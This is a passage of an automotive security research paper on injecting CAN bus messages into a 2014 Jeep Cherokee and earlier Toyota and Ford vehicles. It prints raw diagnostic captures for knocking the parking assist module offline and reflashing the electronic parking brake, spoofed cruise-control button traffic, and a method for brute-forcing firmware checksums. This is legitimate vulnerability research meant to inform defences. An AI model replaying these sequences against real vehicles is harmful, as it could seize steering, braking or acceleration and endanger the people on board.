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Introduction 
Previous research has demonstrated a variety of different ways attackers might be able to inject 

messages onto the CAN bus of an automobile.  These ways include the attacker having direct access to 

the CAN bus [1, 2] or through compromise of an OBD-ii dongle [3, 4].  Other ways include exploitation of 

some kind including exploiting the head unit with a CD.  By far, the most concerning case is when it is 

possible for attackers to inject messages onto the CAN bus due to remote compromise of an unaltered 

vehicle [5, 6].  This nightmare scenario allows for the remote injection of CAN messages to a large 

number of vehicles physically located across the country with no interaction of the driver.  However, the 

question remains, given the ability to inject arbitrary CAN messages onto a vehicle network, what 

physical control of the automobile is possible? 

In previous research, using CAN message injection, various levels of physical control of the vehicle was 

obtained.  This control included things such as turning on the windshield wipers, locks, setting the 

speedometer, or in some cases engaging the brakes [5, 2].  Most instances of physically controlling the 

systems of the automobile came with restrictions.  Many times the attacker controlled physical 

functions were limited to when the car was driving quite slowly [6, 3] or the control was not consistent 

and was extremely sporadic [2].  This paper investigates why physical control inconsistencies exist and 

present techniques that can be leveraged to more fully obtain control of the physical systems of the car 

while only injecting CAN bus messages.  It also discusses ways to makes these systems more robust to 

CAN message injection. 

Terminology 
Below is a list of important ECUs that we will be discussing for the 2014 Jeep Cherokee which is the 

subject of this research: 

ACC (Adaptive Cruise Control) 
EPB (Electronic Parking Brake) 
PSCM (Power Steering Control Module) 
ECM (Engine Control Module) 
PAM (Parking Assist Module) 

SCCM (Steering Column Control Module) 

FFCM (Front Facing Camera Module) 

CAN Bus Basics 
Although new technologies are slowly making their way into the automotive arena, one of the most 

common ways for Electronic Control Units (ECUs) to communicate is via a CAN bus.  CAN is a broadcast 

protocol [7] used to let microcontrollers talk to each other.  Each message can contain at most 8 bytes of 

data.  Messages also have an identifier, which can be used for message priority.  There is no inherent 

support for addressing, encryption, authentication, or longer data lengths, although it is possible to 

build higher-level protocols on top of the CAN specification that contain these properties. 



Typically, ECUs will broadcast messages and other ECUs that are interested (i.e. by CAN ID) will listen for 

those messages and ignore the rest.  While CAN is an open specification, the actual data and identifiers 

used for communication on a particular passenger vehicle are proprietary and vary depending on 

automobile manufacturer.   

The messages sent seem to fall into one of three categories.  One is informative.  An example of this is 

the Anti-Lock System (ABS) broadcasting the speed of each wheel or the Power Steering Control Module 

(PSCM) broadcasting the current position of the steering wheel.  Injecting messages of this type may 

confuse other ECUs but typically will not affect physical aspects of the vehicle. For example, changing 

the value of the steering wheel angle will not result in the wheel actually changing its position.  

The other type of message is one requesting action of another ECU.  An example of this would be the 

Adaptive Cruise Control (ACC) module requesting the brakes to be applied.  In the absence of any 

protective logic, injecting these types of messages will make the car take physical action, such as 

applying the brakes in the previous example.  Later in this paper, we’ll explain that this is not typically 

that easy to do. 

The final type of message is diagnostic.  These messages are typically used for communication from 

mechanic’s tools to ECUs to perform actions or get diagnostic information.  These messages are 

formatted along ISO standards 14229 or 14230. The data in the messages is proprietary with the 

exception of several messages for things like emissions testing [8].  These messages are powerful but are 

typically ignored unless the car is stopped or going quite slowly. 

Attackers are frequently able to send CAN messages with arbitrary identifiers and data.  We call this CAN 

message injection.  Because of the broadcast nature of the protocol, it is impossible for receiving ECUs 

to know whether the sent message was sent by an attacker or by the expected ECU.  This often allows 

attackers to easily do things like engage the locks or activate a turn indicator. 

Previous Work 
Many previous papers have consistently shown certain actions using CAN message injection, such as 

setting the speedometer, turn signal, or wipers [2,5].  These are fun tricks, but the most important 

attacks affect the physical systems of the car that can jeopardize the safety of its passengers.  In this 

section we discuss previous work that specifically affected the safety critical systems of the car, which 

we define to consist of steering, braking, and acceleration. 

Researchers from the University of Washington and University of California San Diego were able to 

perform the following actions on a 2009 Chevy Malibu by sending DeviceControl messages [5].  It should 

be noted that this car had no computer controlled steering so there was no way to affect the steering.  

These attacks relied entirely on sending diagnostic messages.  In this particular vehicle, diagnostic 

messages were allowed while the vehicle was moving.  This is typically the case for later model vehicles. 

1. Kill engine - at speed 
2. Engage brakes - at speed 
3. Prevent braking - at speed 

 

 



A few years later the authors of this paper were able to performed similar attacks, plus steering, against 

a 2012 Toyota Prius [2]:  

1. Engage brakes - at speed 
2. Turn the steering wheel - at speed.  However, this was very inconsistent and often only 

turned the wheel a few degrees 
 

The same researchers showed [2] the following actions against a 2012 Ford Escape: 

1. Prevent braking - < 5 mph 
2. Steering - 0 mph 

 

In 2015 the authors of this paper were able to perform the following actions, remotely, in a 2014 Jeep 

Cherokee [6]:  

1. Steering - < 7 mph (in reverse only) 
2. Prevent braking - < 7 mph 
3. Engage brakes - < 7 mph 

Message Injection and Confliction 
The biggest problem with CAN message injection is that, while attackers can inject arbitrary messages 

onto the bus, the original sender of the message (i.e. the legitimate ECU) is still sending legitimate 

messages.  For all non-diagnostic messages, ECUs typically broadcast messages at a fixed interval.  Even 

if the data values have not changed, ECUs will continuously send messages. For example, there is not a 

message that suddenly ‘appears’ to make the headlamps turn on. Instead a message is sent at a 

constant rate that changes data values to affect the state of the headlamps.  

The result of the ECU continuously sending messages along side our attack messages is message 

confliction.  From the perspective of the receiving ECU, inconsistent messages are received.  For 

example, the ECU which controls the speedometer may be receiving a periodic stream of messages that 

indicate that the speed of the car is 0 mph.  Then, within this stream, it suddenly receives one or more 

attacker injected messages that indicate the speed should be 100 mph.  At this point, the receiving ECU 

needs to decide what to do with this conflicting information.  What speed should it display on the 

speedometer given the various inputs it is receiving? 

Simple ECUs, such as those that control the locks or speedometer, seem to act on very simple algorithms 

based either on the last message it received or some queuing algorithm.  More complex ECUs may 

ignore inconsistent messages or potentially shut off features if conflicted.  One example from the Jeep is 

that if the PSCM receives messages from the FFCM to turn the wheel that differ greatly from a previous 

message (as would be the case if there are conflicting messages being received), the module chooses to 

simply disable the lane keep assist (LKA) feature until the ECU is restarted.  This is a smart, conservative 

choice that can be made for non-critical operations.  It is often better to disable a superfluous feature 

rather than unexpectedly turn the wheel when faced with this confusing information.  In some 

situations, such as the air bag systems, this choice is not acceptable. 

You can see from the Previous Work section one can see message confliction has prevented many 

meaningful attacks against vehicles from Ford, Toyota, and Chrysler.  By contrast, attacks against the 



Chevy vehicle provided almost no hurdles with regards to attacks to perform physical alterations.  The 

obvious reasons are that the Malibu did not take message confliction into account and had zero 

restrictions on diagnostic messages.  The messages injected were DeviceControl messages, which are 

diagnostic in nature and not normally seen during normal operation.  In the other cars, which were later 

models, such diagnostic messages were not allowed while the vehicle is traveling at speeds greater than 

5-7 MPH (approximately).  Thus, against the late model vehicles, it is necessary to try approaches that 

involve normal CAN traffic and run into the problem of message confliction. 

This paper outlines different approaches for dealing with message confliction and sending diagnostic 

messages at arbitrary speeds.  In general, there are a few possibilities.  The first is to stop the sending 

ECU from transmitting by putting it into a diagnostic mode.  This method is easy but most ECUs cannot 

be put into diagnostic mode while the car is traveling more than a few miles per hour and existing 

diagnostic sessions will be terminated if the car goes above that speed (chicken/egg problem).  The 

authors of this paper used this technique to control the steering of the Jeep [6], however this only 

allowed control while the car was driving very slowly. 

A similar method is to put the sending ECU into Bootrom mode.  Bootrom mode requires an 

establishment of a diagnostic session (so the car must be going slowly or stopped) as well as Security 

Access [11].  However, once in this mode, if the car speeds up, the ECU will remain in Bootrom mode 

regardless of speed.  The downside is that often it is necessary to re-flash the ECU to get it back to its 

original state.  This drawback is not a problem for an attacker but for a security researcher who wants a 

functioning car, it can be an issue [Note: Charlie is a cry baby].  With access to Bootrom mode, the 

attacker could also permanently brick the ECU ensuring that messages are never sent thereafter. 

Another method for subverting message restrictions is to take advantage of the way the receiving ECU 

handles incoming messages.  This method is the most difficult to perform because it requires thorough 

reverse engineering of the firmware of the receiving ECU.  We’ll demonstrate later in this paper how this 

can be used against the PSCM of the 2014 Jeep Cherokee.   

The last method is to block messages of certain identifiers by manipulating with the low level CAN 

protocol.  By literally reading the bits as they show up on the CAN bus, once a message is seen with the 

target CAN ID, the hardware can invalidate the message and then send a replacement [9].  Canceling the 

messages in real time requires extremely low-level hardware access to the CAN transceiver.  Typically, in 

remote attacks, this wouldn’t be possible, however adding custom hardware with physical access would 

allow this technique.  This restriction is especially limiting since with physical access you could just 

remove the offending ECU from the vehicle.  In this paper we ignore this approach so that the results 

would work for the case of remote attacks as well. 

Simple Confliction 
As described in the Message Injection and Confliction section, there is almost always confliction 

between the attacker and the ECU that is normally broadcasting the message with the same ID.  

Whether this is a problem or not for the attacker relies on how the receiving ECU deals with the 

confliction.  In the simplest cases, it performs some naive action that does not take into account 

conflicting messages at all.  



A good example of a naïve piece of equipment is the speedometer.  While we haven’t actually reverse 

engineered the firmware on these, observing the behavior of the ECU gives us a good idea of how it 

works.  If the attacker quickly sends numerous messages with the desired speed, the speedometer will 

usually show the desired speed.  At times it may quickly flicker toward the original speed but will quickly 

go back to the desired speed.  This tells us that the ECU is probably just dealing with each message 

independently.  In a situation where it receives 10 messages telling it to display 100mph followed by one 

message to display 20mph (the real speed) followed by 10 more messages to display 100mph, it will 

basically just display 100mph since by the time it tries to change the speed to 20, the next message 

telling it to display 100 arrives.  We have observed this behavior for every vehicle we have ever 

examined, including those by Ford, Toyota, and Chrysler. 

Toyota Prius Braking 
A more extreme example of performing a physical action without confliction comes in applying the 

brakes on the Toyota Prius via the Pre-Collision System (PCS), as outlined in our previous work [2].  The 

PCS sent a CAN message with ID 0x283 to apply the brakes if the system thought an accident was 

inevitable.  If an attacker rapidly sent this message indicating to apply the brakes, even in the presence 

of normal messages saying not to apply the brakes, the Toyota would activate the brakes.  Presumably 

the engineers at Toyota made the decision to err on the side of safety when confliction occurs and apply 

the brakes in the event that an accident really was impending (or never thought about message 

confliction in the first place).  From an attacker’s perspective, it makes carrying out this attack very 

simple. 

Jeep Acceleration 
Just about every safety critical ECU in the Jeep handles confliction by disabling the feature with one 

exception, that being cruise control.  In previous cars we looked at, Ford and Toyota, we were never able 

to control the speed of the car.  This was because the cruise control buttons were wired directly to the 

engine controller that then made the necessary speed adjustments.  The Jeep is more sophisticated.  

The buttons that control the cruise control settings are on the steering wheel and are wired into the 

SCCM.  This module needs to communicate the driver’s intentions to the ACC module which makes 

calculations based on sensor data, eventually telling the engine and brakes what actions need to be 

taken.  Unlike the Ford and Toyota, this messaging is done via the CAN bus. 

If an attacker tries to send the messages that normally go from the ACC to the engine, then you once 

again run into the problem of confliction.  You could then proceed with some solutions outlined in this 

paper, but there is an easier way. 

The messages sent from the SCCM do not indicate the desired state of the system, for example, each 

message does not say the equivalent of “cruise control is on and set to 60mph” but rather is more basic 

and says the equivalent of “the decrease speed button is currently depressed” or “the decrease speed 

button is not currently depressed”.  Since there is no state information in the messages, it is perfectly 

normal for a series of “button not pressed” messages to be interrupted with a “button pressed” 

message, exactly how it would look if an attacker were to send that message. 

  



Below is a capture of what an actual button press looks like on the CAN bus. 

IDH: 02, IDL: FA, Len: 03, Data: 00 30 F4 
IDH: 02, IDL: FA, Len: 03, Data: 00 40 AD 
IDH: 02, IDL: FA, Len: 03, Data: 00 50 60 
IDH: 02, IDL: FA, Len: 03, Data: 00 60 2A  
IDH: 02, IDL: FA, Len: 03, Data: 00 70 E7  
IDH: 02, IDL: FA, Len: 03, Data: 00 80 98  
IDH: 02, IDL: FA, Len: 03, Data: 80 90 9C 
IDH: 02, IDL: FA, Len: 03, Data: 80 A0 D6 
IDH: 02, IDL: FA, Len: 03, Data: 80 B0 1B  
IDH: 02, IDL: FA, Len: 03, Data: 00 C0 8B  
IDH: 02, IDL: FA, Len: 03, Data: 00 D0 46 
IDH: 02, IDL: FA, Len: 03, Data: 00 E0 0C  
IDH: 02, IDL: FA, Len: 03, Data: 00 F0 C1  
IDH: 02, IDL: FA, Len: 03, Data: 00 00 BE  
IDH: 02, IDL: FA, Len: 03, Data: 00 10 73  
IDH: 02, IDL: FA, Len: 03, Data: 00 20 39  
IDH: 02, IDL: FA, Len: 03, Data: 00 30 F4 
 

You can see that the button press (the first byte being 0x80) shows up for only a quick moment.  It is 

easy to make something like this happen as an attacker.   

With this knowledge, an attacker can accelerate (or decelerate) the car arbitrarily by simulating different 

button pushes for the cruise control.  Of course, since the cruise control features of the car are 

controlling this acceleration, the driver, for example, can always override it by applying the brakes of the 

car.  In some situations, especially if the driver was not expecting it, this could still be dangerous. 

Demo 
Please see do_acc_buttons_accel.py and do_acc_buttons_brake.py which perform this action. 

Prius Steering Confliction Solutions 
The Toyota Prius examined in our previous work [2] came with the optional Intelligence Park Assist 

System (IPAS), which assists the driver when attempting to parallel-park or back into a tight parking 

space.  Unlike the other Toyota control mechanisms, steering required very specific criteria and 

demanded the input of multiple CAN IDs with specific data.  

The first CAN ID to examine is the one that controls the servomechanism. The servo is a device that 

moves the steering wheel on an ECU’s behalf. The servomechanism CAN message has identifier 0x266. 

Although the servo packet can be injected, the car still requires the current gear to be reverse, as auto-

parking functionality will not work while in any other gear. Therefore, we determined the CAN ID 

responsible for broadcasting the current gear, reverse engineered it, and coupled it with the steering 

packet to get the car to steer while in drive. The current gear CAN ID had the identifier 0x127. 

Just pairing these two CAN IDs together will only permit steering control when the vehicle is traveling 

less than 4 MPH, as this feature is intended to work.  To get steering working at all speeds we needed to 

flood the CAN network with bogus speed packets as well, resulting in some ECUs becoming 



unresponsive, permitting wheel movement at arbitrary speeds.  The CAN ID responsible for reporting 

speed has identifier 0xB4. 

By sending an invalid speed with one Ecom cable and the coupled servo angle / current gear combo on 

another Ecom cable we could steer the wheel at any speed.  The precision of the steering is not 

comparable to that during auto-parking, but rather consists of forceful, sporadic jerks of the wheel, 

which would cause vehicle some instability at any speed (but would not be suitable for remote control 

of the automobile).  This steering is very inconsistent, yet effective in an attack scenario due to the 

torque of the servomechanism.  The inconsistent and sporadic control of the steering is characteristic of 

an ECU experiencing confliction and attempting to deal with it in a rather naïve way. 

Stopping modules from sending CAN messages 
It is easy to put ECUs into diagnostic mode, preventing the device from communicating on the CAN bus.  

However, this generally only works if the vehicle is not in motion (or driving very slow).  This doesn’t 

make it a very useful technique for affecting physical systems at higher speeds. 

However, if you can begin the reprogramming process against an ECU, it will enter Bootrom mode.  In 

this mode it will not send CAN messages and also will remain in this mode even at higher speeds.  After 

all, what option does the ECU have at that point, it may not even have valid application firmware 

loaded.  In theory, we can put any module into this mode, but in practice, we probably only want to do it 

for ones we can completely reprogram afterwards so that we can take it out of Bootrom mode at a later 

time.  Real attackers wouldn’t necessarily need to worry about this limitation. 

We can reprogram any of the modules mentioned above by emulating the sequence of events 

performed by the mechanic’s tool during reprogramming.  We should theoretically be able to put 

modified firmware as well since no code signing is evident in their design, as shown in our previous 

paper [6]. 

Parking Assist Module example 
Above we discussed how if we could knock the PAM offline, we could control the steering.  Below we 

show the CAN messages that can be used to put the PAM into Bootrom mode.  These messages follow 

ISO 14229.  Messages with EID 0x18DAA0F1 are ones that we send.  Messages with EID 0x18DAF1A0 are 

ones that the PAM sends. 

First we start a programming diagnostic session:    

 EID: 18DAA0F1, Len: 08, Data: 02 10 02 00 00 00 00 00 
 EID: 18DAF1A0, Len: 04, Data: 03 7F 10 78 
 EID: 18DAF1A0, Len: 07, Data: 06 50 02 00 32 01 F4 
 
 

 

  



Next, we get security access.  For more information about security access algorithms for the Jeep 

Cherokee see [6]:  

 EID: 18DAA0F1, Len: 08, Data: 02 27 01 00 00 00 00 00 
 EID: 18DAF1A0, Len: 07, Data: 06 67 01 70 70 29 A7 
 EID: 18DAA0F1, Len: 08, Data: 06 27 02 0E F3 7D 22 00 
 EID: 18DAF1A0, Len: 03, Data: 02 67 02 
 
 

The previous commands are part of the Unified Diagnostic Services (UDS).  Now we have to do 

something proprietary to the Jeep, but necessary for the attack to work.  We do two 

WriteDataByIdentifier calls.  While the diagnostic is part of UDS, the data is proprietary and unknown to 

us other than the last value, which is the date.  

 EID: 18DAA0F1, Len: 08, Data: 10 10 2E F1 84 01 31 30 
 EID: 18DAF1A0, Len: 03, Data: 30 00 00 
 EID: 18DAA0F1, Len: 08, Data: 21 31 36 30 20 20 20 20 
 EID: 18DAA0F1, Len: 08, Data: 22 16 04 08 00 00 00 00 
 EID: 18DAF1A0, Len: 04, Data: 03 7F 2E 78 
 EID: 18DAF1A0, Len: 04, Data: 03 6E F1 84  
 EID: 18DAA0F1, Len: 08, Data: 10 10 2E F1 85 01 31 30 
 EID: 18DAF1A0, Len: 03, Data: 30 00 00 
 EID: 18DAA0F1, Len: 08, Data: 21 31 36 30 20 20 20 20 
 EID: 18DAA0F1, Len: 08, Data: 22 16 04 08 00 00 00 00 
 EID: 18DAF1A0, Len: 04, Data: 03 7F 2E 78 
 EID: 18DAF1A0, Len: 04, Data: 03 6E F1 85 
 
 

Next we do a routine control that erases the firmware: 

 EID: 18DAA0F1, Len: 08, Data: 10 0A 31 01 FF 00 00 20 
 EID: 18DAF1A0, Len: 03, Data: 30 00 00 
 EID: 18DAA0F1, Len: 08, Data: 21 00 0B 4F FF 00 00 00 
 EID: 18DAF1A0, Len: 04, Data: 03 7F 31 78 
 EID: 18DB33F1, Len: 08, Data: 02 3E 02 00 00 00 00 00 
 EID: 18DAF1A0, Len: 05, Data: 04 71 01 FF 00  
 EID: 18DAA0F1, Len: 08, Data: 04 31 03 FF 00 00 00 00 
 EID: 18DAF1A0, Len: 04, Data: 03 7F 31 78 
 EID: 18DAF1A0, Len: 05, Data: 04 71 03 FF 00 
 
 

Lastly, we tell the ECU that we are going to be downloading new firmware onto it: 

 EID: 18DAA0F1, Len: 08, Data: 10 09 34 00 33 00 20 00 
 EID: 18DAF1A0, Len: 03, Data: 30 00 00 
 EID: 18DAA0F1, Len: 08, Data: 21 0B 30 00 00 00 00 00 
 EID: 18DAF1A0, Len: 05, Data: 04 74 20 0F F2 
 



At this point, the ECU will wait for the new code to be pushed to it indefinitely, regardless of the state of 

the automobile. The only way to return the ECU to full function at this point is to flash it with valid 

firmware at a later time. 

Doing this allows us to control the steering at higher speeds.  This is an improvement over our previous 

work, but the PSCM has checks and only accepts messages to turn the wheel from the PAM under a 

certain speed, roughly 7 mph.  Later in this paper, we will show how to remove this limitation and 

control the steering at any speed. 

Flashing ECUs 
We saw previously that, if we know the Security Access keys (and we do), that it is pretty easy to start 

the flashing process to put the ECU into Bootrom mode.  This will prevent the affected ECU from 

transmitting CAN messages so that there will be no confliction. 

However, if we can flash the ECU with firmware of our choosing, we can have it perform any action we 

want.  We no longer have to try to trick it or fight with confliction; we just change the code to make it 

take any action we want under any circumstance. 

There are a few obstacles to doing this.  The first is that you need Security Access.  We show in the next 

section that this isn’t a problem.  The next potential issue is you need some firmware to flash.  We 

grabbed the firmware from the mechanic’s tool during the update process.  However, not all ECUs have 

an update available, the most notable absence being the ABS ECU.  In that case, you can’t just get the 

firmware from the mechanic’s tool.  A decent hardware hacker could extract the firmware from the ECU 

itself.   Unfortunately, neither of the authors qualify in that respect.  The final issue is any validation of 

the firmware that is made by the ECU.  If, for example, the ECU only loaded cryptographically signed 

images, then we would not be able to load a modified firmware onto the device.  The ECUs in the Jeep 

do not employ code signing, but they do use a 16-bit checksum of unknown origin, which we will discuss 

in later sections.  

Flashing the EPB 
The first thing you need to do to flash an ECU is to observe how the mechanic’s tool does it.  Below we 

show an excerpt of how the EPB gets flashed. 

First, get a diagnostic programming session: 

EID: 18DA2BF1, Len: 08, Data: 02 10 02 00 00 00 00 00  
EID: 18DAF12B, Len: 08, Data: 03 7F 10 78 AA AA AA AA  
EID: 18DAF12B, Len: 04, Data: 03 7F 10 78  
EID: 18DAF12B, Len: 07, Data: 06 50 02 00 32 01 F4  
 

Next, it does security access: 

EID: 18DA2BF1, Len: 08, Data: 02 27 01 00 00 00 00 00  
EID: 18DAF12B, Len: 07, Data: 06 67 01 DA CB C6 CF  
EID: 18DA2BF1, Len: 08, Data: 06 27 02 50 38 D3 C2 00  
EID: 18DAF12B, Len: 04, Data: 03 7F 27 78  
EID: 18DAF12B, Len: 03, Data: 02 67 02  



Then a couple of writeDataByIdentifier commands are sent.  While we haven’t decoded the whole 

messages, we know the last bytes are the date: 04-05-16. 

EID: 18DA2BF1, Len: 08, Data: 10 10 2E F1 84 01 31 30 
EID: 18DAF12B, Len: 03, Data: 30 00 00  
EID: 18DA2BF1, Len: 08, Data: 21 31 36 30 20 20 20 20  
EID: 18DA2BF1, Len: 08, Data: 22 16 04 05 00 00 00 00  
EID: 18DAF12B, Len: 04, Data: 03 7F 2E 78  
EID: 18DAF12B, Len: 04, Data: 03 6E F1 84  
EID: 18DA2BF1, Len: 08, Data: 10 10 2E F1 85 01 31 30 
EID: 18DAF12B, Len: 03, Data: 30 00 00 
EID: 18DA2BF1, Len: 08, Data: 21 31 36 30 20 20 20 20 
EID: 18DA2BF1, Len: 08, Data: 22 16 04 05 00 00 00 00 
EID: 18DAF12B, Len: 04, Data: 03 7F 2E 78 
EID: 18DAF12B, Len: 04, Data: 03 6E F1 85 
 

Next the routine control startRoutine is issued, followed by the routine control requestRoutineResults 

which erases the memory.  In order to understand the arguments in the commands (address and 

length), you’d have to watch the mechanics tool. 

EID: 18DA2BF1, Len: 08, Data: 10 0C 31 01 FF 00 00 7B 
EID: 18DAF12B, Len: 03, Data: 30 00 00 
EID: 18DA2BF1, Len: 08, Data: 21 E0 00 00 7F 7F FF 00 
EID: 18DAF12B, Len: 04, Data: 03 7F 31 78 
EID: 18DAF12B, Len: 04, Data: 03 7F 31 78 
EID: 18DAF12B, Len: 04, Data: 03 7F 31 78 
EID: 18DAF12B, Len: 05, Data: 04 71 01 FF 00 
EID: 18DA2BF1, Len: 08, Data: 04 31 03 FF 00 00 00 00 
EID: 18DAF12B, Len: 05, Data: 04 71 03 FF 00 
 

Next, a RequestDownload occurs using the address 0x7BE000 and size of 0x03A000: 

EID: 18DA2BF1, Len: 08, Data: 10 0B 34 00 44 00 7B E0 
EID: 18DAF12B, Len: 03, Data: 30 00 00  
EID: 18DA2BF1, Len: 08, Data: 21 00 00 03 A0 00 00 00 
EID: 18DAF12B, Len: 04, Data: 03 7F 34 78 
EID: 18DAF12B, Len: 05, Data: 04 74 20 04 02 
 

Finally, the firmware it sent to the ECU: 

EID: 18DA2BF1, Len: 08, Data: 14 02 36 01 3E CE 44 C6 
EID: 18DAF12B, Len: 03, Data: 30 00 00 
EID: 18DA2BF1, Len: 08, Data: 21 43 C6 83 C7 41 C6 40 
EID: 18DA2BF1, Len: 08, Data: 22 C6 12 CB 3E C6 3D C6 
EID: 18DA2BF1, Len: 08, Data: 23 3C C6 3B C6 3A C6 39 
EID: 18DA2BF1, Len: 08, Data: 24 C6 38 C6 04 CB 36 C6 
 

The transfer is finalized by issuing the RequestTransferExit command: 



EID: 18DA2BF1, Len: 08, Data: 01 37 00 00 00 00 00 00 
EID: 18DAF12B, Len: 04, Data: 03 7F 37 78 
EID: 18DAF12B, Len: 02, Data: 01 77 
 

Now we send the checksum using a RoutineControl requestStart and requestRoutineResults: 

EID: 18DA2BF1, Len: 08, Data: 10 0E 31 01 FF 01 00 7B 
EID: 18DAF12B, Len: 03, Data: 30 00 00 
EID: 18DA2BF1, Len: 08, Data: 21 E0 00 00 7F 7F FF CD 
EID: 18DA2BF1, Len: 08, Data: 22 5D 00 00 00 00 00 00 
EID: 18DAF12B, Len: 04, Data: 03 7F 31 78 
EID: 18DBFEF1, Len: 08, Data: 02 3E 80 00 00 00 00 00 
EID: 18DB33F1, Len: 08, Data: 02 3E 02 00 00 00 00 00 
EID: 18DAF12B, Len: 05, Data: 04 71 01 FF 01 
EID: 18DA2BF1, Len: 08, Data: 04 31 03 FF 01 00 00 00 
EID: 18DAF12B, Len: 04, Data: 03 7F 31 78 
EID: 18DBFEF1, Len: 08, Data: 02 3E 80 00 00 00 00 00 
EID: 18DAF12B, Len: 05, Data: 04 71 03 FF 01 
 

We end by resetting the ECU: 

EID: 18DA2BF1, Len: 08, Data: 02 11 01 00 00 00 00 00 
EID: 18DAF12B, Len: 04, Data: 03 7F 11 78 

 

Firmware checksums 
Flashing an ECU which has an update from the mechanic’s tool is trivial, because you have the firmware 

and can sniff the CAN traffic to see exactly how it is done.  If you want to send altered firmware to one 

of the Jeep’s ECUs, the only obstacle is the checksum.  The RoutineControl above with the identifier of 

0xFF01 looks nearly identical to the RoutineControl with the identifier of 0xFF00, except for one minor 

detail. RoutineControl 0xFF01 has two extra bytes at the end (0xCD5D), which end up being the 

checksum of the firmware.  

If you send it the wrong checksum, or you skip this step, the ECU will not exit Bootrom mode and begin 

executing the new firmware.  The checksums for the updates we were trying to use came bundled with 

the firmware, unlike other firmware, which had the mechanic’s tool calculate the checksum.    



 

 

Likewise, the ECU firmware themselves do not contain the boot loader, and so the algorithm to verify 

the checksum isn’t there either.  Trying well known checksum algorithms did not yield any desirable 

results.  This meant that our only option was try to brute force the checksum (because we’re stupid like 

that).  

Luckily, there are two things that are working in our favor here.  First, the checksum itself is only 16-bits, 

meaning there are 65,535 possibilities.  The other is that the ECU is set up so that if you guess 

incorrectly, you get an error but then if you later guess correctly, it works.  This means that we can 

attempt to brute force without restarting/reprogramming the ECU each time.  The drawback is that it is 

rather slow to guess.  Each guess takes a few seconds.  This means one would expect to find the 

checksum in less than 9 hours. 

  



Below illustrates what such a session would look like for the unmodified firmware demonstrated above: 

EID: 18DA2BF1, Len: 08, Data: 10 0E 31 01 FF 01 00 7B ,TS: 0 
EID: 18DAF12B, Len: 03, Data: 30 00 00 ,TS: 1169127 
EID: 18DA2BF1, Len: 08, Data: 21 E0 00 00 7F 7F FF CD ,TS: 0 
EID: 18DA2BF1, Len: 08, Data: 22 5A 00 00 00 00 00 00 ,TS: 0 
EID: 18DAF12B, Len: 04, Data: 03 7F 31 78 ,TS: 1169255 
EID: 18DAF12B, Len: 05, Data: 04 71 01 FF 01 ,TS: 1186826 
[18DA2BF1] Calling routine FF01:  Worked 
EID: 18DA2BF1, Len: 08, Data: 04 31 03 FF 01 00 00 00 ,TS: 0 
EID: 18DAF12B, Len: 04, Data: 03 7F 31 78 ,TS: 1186954 
EID: 18DAF12B, Len: 04, Data: 03 7F 31 72 ,TS: 1187230 
[18DA2BF1] Calling routine FF01:  Failed, error code 72 
 
 

The above example tries an incorrect checksum of 0xCD5A.  The requestRoutineResults gives an error 

with code 0x72 which means generalProgrammingFailure.  We then try 0xcd5b which also fails. 

EID: 18DA2BF1, Len: 08, Data: 10 0E 31 01 FF 01 00 7B ,TS: 0 
EID: 18DAF12B, Len: 03, Data: 30 00 00 ,TS: 1188630 
EID: 18DA2BF1, Len: 08, Data: 21 E0 00 00 7F 7F FF CD ,TS: 0 
EID: 18DA2BF1, Len: 08, Data: 22 5B 00 00 00 00 00 00 ,TS: 0 
EID: 18DAF12B, Len: 04, Data: 03 7F 31 78 ,TS: 1188726 
EID: 18DAF12B, Len: 05, Data: 04 71 01 FF 01 ,TS: 1206297 
[18DA2BF1] Calling routine FF01:  Worked 
EID: 18DA2BF1, Len: 08, Data: 04 31 03 FF 01 00 00 00 ,TS: 0 
EID: 18DAF12B, Len: 04, Data: 03 7F 31 78 ,TS: 1206384 
EID: 18DAF12B, Len: 04, Data: 03 7F 31 72 ,TS: 1206658 
[18DA2BF1] Calling routine FF01:  Failed, error code 72 
 
 

Finally we try the correct checksum 0xcd5d.  This time you can see that the checksum is correct since 

the 0xFF01 routine returns successfully:  

EID: 18DA2BF1, Len: 08, Data: 10 0E 31 01 FF 01 00 7B ,TS: 0 
EID: 18DAF12B, Len: 03, Data: 30 00 00 ,TS: 1227601 
EID: 18DA2BF1, Len: 08, Data: 21 E0 00 00 7F 7F FF CD ,TS: 0 
EID: 18DA2BF1, Len: 08, Data: 22 5D 00 00 00 00 00 00 ,TS: 0 
EID: 18DAF12B, Len: 04, Data: 03 7F 31 78 ,TS: 1227729 
EID: 18DAF12B, Len: 05, Data: 04 71 01 FF 01 ,TS: 1245955 
[18DA2BF1] Calling routine FF01:  Worked 
EID: 18DA2BF1, Len: 08, Data: 04 31 03 FF 01 00 00 00 ,TS: 0 
EID: 18DAF12B, Len: 04, Data: 03 7F 31 78 ,TS: 1246059 
EID: 18DAF12B, Len: 05, Data: 04 71 03 FF 01 ,TS: 1246333 
[18DA2BF1] Calling routine FF01:  Worked 
 

 



When the correct checksum is finally given, the requestRoutineResults returns error free.  After 

resetting the ECU, it will be running the supplied firmware. 

We have successfully found the checksum for modified PSCM firmware using this method.  Again, this 

allows you to, theoretically, have the ECU do whatever you want.  However, this also requires 

understanding the firmware well enough to know how to get it to perform arbitrary physical actions.   

Also, any changes you make (for example to fix a bug) will require hours of brute forcing to find the new 

checksum.  For example, you could modify the firmware as desired, brute force the checksum, then 

reprogram the ECU with the modified firmware and derived checksum. While the initial process could be 

painstakingly slow, once the checksum for the back doored firmware is generated, it can be used many 

times over. This process was deemed too prolonged for our tastes and for those reasons; we didn’t 

follow this avenue of attack.  We were able to accomplish significant physical control of the vehicle 

without installing a modified firmware. 

Storing Secrets in the Car 
Many cars we’ve encountered store secrets in the ECUs and other places, such as the mechanic’s tools.  

In this section we present two examples of secret storage for the Jeep, one being in the ECU application 

firmware and the other being in the mechanic’s tool.  Our main point for this section is that if you’re 

storing secrets for an entire fleet in the mechanic’s tool or an ECU then it is inevitable that an attacker 

can retrieve those secrets.  Therefore, an attacker can buy one vehicle, reverse engineer the proper 

applications to obtain the secrets, and then use these secrets while attacking any other vehicle that 

shares those secrets.   

Even if secrets are stored per-car, mechanics will need a way to get these secrets, for example, to install 

new ECUs and associated firmware in the vehicle.  Therefore, the tools will either have these secrets or 

have a way to generate/query a server for them.  Either way, while adding difficulty to an attack, 

manufacturers shouldn’t rely on secrets for attack prevention.  This is an important point to understand 

because there are many proposals out there to protect ECU from these kinds of attacks by utilizing 

cryptographic secrets but this section should demonstrate that they are doomed to failure or at least 

will demonstrate the degree of difficulty implementation will entail. 

Checksums – Revisited 
An example of something that isn’t a secret, but rather a secret algorithm, is the way that some CAN 

